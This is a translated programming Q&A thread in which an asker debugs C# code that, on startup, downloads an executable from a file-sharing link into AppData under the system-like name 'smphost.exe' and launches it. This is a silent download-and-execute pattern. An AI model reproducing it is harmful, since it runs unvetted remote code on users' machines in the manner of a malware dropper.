【发布时间】:2017-07-25 09:53:23
【问题描述】:
正如您在下面看到的,我正在下载一个文件并在我的主应用程序加载后打开它,我正在下载的这个应用程序是一个帮助主应用程序的后台应用程序。
当我编译它时,我收到了这个错误:
System.ComponentModel.Win32Exception: 'The file or directory is corrupted and unreadable'
该错误发生在 Process.Start 行。
代码:
private void Form1_Load(object sender, EventArgs e)
{
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + _appDataFolder))
{
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder);
}
WebClient webClient = new WebClient();
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(Completed);
webClient.DownloadFileAsync(new Uri(
"https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe"),
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe");
}
private void Completed(object sender, AsyncCompletedEventArgs e)
{
var path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe";
if (!File.Exists(path))
{
return;
}
Process.Start(path);
}
【问题讨论】:
-
可以手动启动下载的可执行文件吗?
-
如果没有 C++ 代码,为什么这个问题会被标记为 C++?
-
@RomanoZumbé 显然不是,如果我愿意的话。我标记了 C++,因为我认为它可能不仅是 C#,而且是 Windows 中的其他编程语言的普遍问题。
-
@Beefo 我不确定你是否正确理解了我。您可以通过单击启动下载的文件吗?如果不是,这不是与编程相关的问题。
-
标签用于对问题进行分类。您的问题与 C++ 无关,因此 C++ 标记不合适。请不要投机地添加标签。这不是操作系统错误。
标签: c# .net windows visual-studio